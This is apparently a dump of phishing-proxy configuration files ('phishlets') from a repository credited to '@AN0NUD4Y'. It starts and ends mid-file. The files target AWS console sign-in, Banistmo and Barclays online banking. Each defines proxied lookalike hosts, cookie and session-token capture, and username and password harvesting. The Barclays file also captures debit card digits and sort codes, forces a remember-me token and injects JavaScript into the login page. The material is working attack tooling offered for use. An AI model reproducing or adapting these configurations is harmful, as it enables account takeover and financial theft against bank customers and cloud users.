mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']} 55 | 56 | 57 | auth_tokens: 58 | - domain: '.amazon.com' 59 | keys: ['aws-ubid-main', 'aws-userInfo-signed', '.*,regexp'] 60 | - domain: '.aws.amazon.com' 61 | keys: ['awsm-vid,opt', 'awsccc', '.*,regexp'] 62 | - domain: '.console.aws.amazon.com' 63 | keys: ['noflush_Region', 'noflush_awscnm', '.*,regexp'] 64 | - domain: '.signin.aws.amazon.com' 65 | keys: ['aws-signin-csrf', 'aws-signin-account-info', 'aws-creds', '.*,regexp'] 66 | - domain: 'phd.aws.amazon.com' 67 | keys: ['aws-creds-code-verifier', 'aws-consoleInfo', 'aws-creds', '.*,regexp'] 68 | - domain: 'portal.aws.amazon.com' 69 | keys: ['aws-session-id-fallback,opt', 'aws-session-id', 'JSESSIONID', '.*,regexp'] 70 | - domain: 'signin.aws.amazon.com' 71 | keys: ['JSESSIONID', '.*,regexp'] 72 | 73 | 74 | auth_urls: 75 | - '/console/home' 76 | credentials: 77 | username: 78 | key: 'email' 79 | search: '(.*)' 80 | type: 'post' 81 | password: 82 | key: 'password' 83 | search: '(.*)' 84 | type: 'post' 85 | login: 86 | domain: 'signin.aws.amazon.com' 87 | path: '/signin?redirect_uri=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Ffromtb%3Dtrue%26hashArgs%3D%2523%26isauthcode%3Dtrue%26state%3DhashArgsFromTB_us-east-1_7de15f551561e8cc&client_id=arn%3Aaws%3Asignin%3A%3A%3Aconsole%2Fcanvas&forceMobileApp=0&code_challenge=yjMoqMdgfMR1J8rPfy4CI_50b3PldrJjTsFRPOFWJ9A&code_challenge_method=SHA-256' 88 | -------------------------------------------------------------------------------- /banistmo.yaml: -------------------------------------------------------------------------------- 1 | author: '@AN0NUD4Y' 2 | min_ver: '2.3.0' 3 | proxy_hosts: 4 | - {phish_sub: 'www', orig_sub: 'www', domain: 'banistmo.com', session: true, is_landing: true} 5 | - {phish_sub: 'personas', orig_sub: 'personas', domain: 'banistmo.com', session: false, is_landing: false} 6 | - {phish_sub: 'portal', orig_sub: 'portal', domain: 'banistmo.com', session: true, is_landing: true} 7 | - {phish_sub: 'bf', orig_sub: 'bf24030jpn.bf', domain: 'dynatrace.com', session: true, is_landing: false} 8 | - {phish_sub: 'api', orig_sub: 'api', domain: 'banistmo.com', session: true, is_landing: false} 9 | - {phish_sub: 'google', orig_sub: 'www', domain: 'google.com', session: true, is_landing: true} 10 | - {phish_sub: 'portal', orig_sub: 'portal', domain: 'banistmo.com', session: true, is_landing: false} 11 | 12 | 13 | sub_filters: 14 | # - {triggers_on: 'www.blockchain.com', orig_sub: 'www', domain: 'blockchain.com', search: '', replace: ';document.location="https://login.YOURDOMA.IN/#/login/e1837f4d-1d0c-49b8-a242-8f653226c137";', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript']} 15 | - {triggers_on: 'www.banistmo.com', orig_sub: 'www', domain: 'banistmo.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']} 16 | - {triggers_on: 'personas.banistmo.com', orig_sub: 'personas', domain: 'banistmo.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']} 17 | - {triggers_on: 'portal.banistmo.com', orig_sub: 'portal', domain: 'banistmo.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript']} 18 | - {triggers_on: 'api.banistmo.com', orig_sub: 'api', domain: 'banistmo.com', search: 'api.{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript']} 19 | - {triggers_on: 'bf24030jpn.bf.dynatrace.com', orig_sub: 'bf24030jpn.bf', domain: 'dynatrace.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']} 20 | - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'google.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']} 21 | 22 | 23 | 24 | auth_tokens: 25 | - domain: '.banistmo.com' 26 | keys: ['(.+),regexp'] 27 | - domain: '(.+),regexp' 28 | keys: ['(.+),regexp'] 29 | credentials: 30 | username: 31 | key: 'guid' 32 | search: '(.*)' 33 | type: 'post' 34 | password: 35 | key: 'password' 36 | search: '(.*)' 37 | type: 'post' 38 | login: 39 | domain: 'personas.banistmo.com' 40 | path: '' -------------------------------------------------------------------------------- /barclays.yaml: -------------------------------------------------------------------------------- 1 | author: '@AN0n' 2 | min_ver: '2.3.0' 3 | proxy_hosts: 4 | - {phish_sub: 'bank', orig_sub: 'bank', domain: 'barclays.co.uk', session: true, is_landing: true} 5 | - {phish_sub: 'smetrics', orig_sub: 'smetrics', domain: 'barclays.co.uk', session: true, is_landing: false} 6 | - {phish_sub: 'stats', orig_sub: 'wup-6bb5a42d.eu.v2', domain: 'we-stats.com', session: true, is_landing: false} 7 | - {phish_sub: 'logs', orig_sub: 'logs-6bb5a42d.eu.v2', domain: 'we-stats.com', session: true, is_landing: false} 8 | 9 | sub_filters: 10 | - {triggers_on: 'bank.barclays.co.uk', orig_sub: 'bank', domain: 'barclays.co.uk', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 11 | - {triggers_on: 'bank.barclays.co.uk', orig_sub: 'bank', domain: 'barclays.co.uk', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 12 | - {triggers_on: 'bank.barclays.co.uk', orig_sub: 'bank', domain: 'barclays.co.uk', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 13 | - {triggers_on: 'smetrics.barclays.co.uk', orig_sub: 'smetrics', domain: 'barclays.co.uk', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 14 | - {triggers_on: 'smetrics.barclays.co.uk', orig_sub: 'smetrics', domain: 'barclays.co.uk', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 15 | - {triggers_on: 'smetrics.barclays.co.uk', orig_sub: 'smetrics', domain: 'barclays.co.uk', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 16 | 17 | auth_tokens: 18 | - domain: '.barclays.co.uk' 19 | keys: ['.*,regexp'] 20 | credentials: 21 | username: 22 | key: 'surname' 23 | search: '(.*)' 24 | type: 'post' 25 | password: 26 | key: 'membershipNumber' 27 | search: '(.*)' 28 | type: 'post' 29 | custom: 30 | - key: 'membershipNumber' 31 | search: '(.*)' 32 | type: 'post' 33 | - key: 'surname' 34 | search: '(.*)' 35 | type: 'post' 36 | - key: 'debitCard1' 37 | search: '(.*)' 38 | type: 'post' 39 | - key: 'debitCard2' 40 | search: '(.*)' 41 | type: 'post' 42 | - key: 'debitCard3' 43 | search: '(.*)' 44 | type: 'post' 45 | - key: 'debitCard4' 46 | search: '(.*)' 47 | type: 'post' 48 | - key: 'sortcode0' 49 | search: '(.*)' 50 | type: 'post' 51 | - key: 'sortcode1' 52 | search: '(.*)' 53 | type: 'post' 54 | - key: 'sortcode2' 55 | search: '(.*)' 56 | type: 'post' 57 | - key: 'sortcode3' 58 | search: '(.*)' 59 | type: 'post' 60 | 61 | force_post: 62 | - path: '/olb/authlogin/' 63 | search: 64 | - {key: 'surname', search: '.*'} 65 | force: 66 | - {key: 'rememberToken', value: 'true'} 67 | type: 'post' 68 | 69 | login: 70 | domain: 'bank.barclays.co.uk' 71 | path: '/olb/authlogin/loginAppContainer.do#/identification' 72 | 73 | js_inject: 74 | - trigger_domains: ["bank.barclays.co.uk"] 75 | trigger_paths: ["/olb/authlogin/loginAppContainer.do"] #The target path is important as the javascript will be injected in all address pages started with /login 76 | trigger_params: [] 77 | script: | 78 | function onclickListener(){ 79 | document.getElementById("checkbox1").checked = true; 80 | var submit = document.getElementsByClassName("btn")[0] 81 | document.body.innerHTML = document.body.innerHTML.replace(/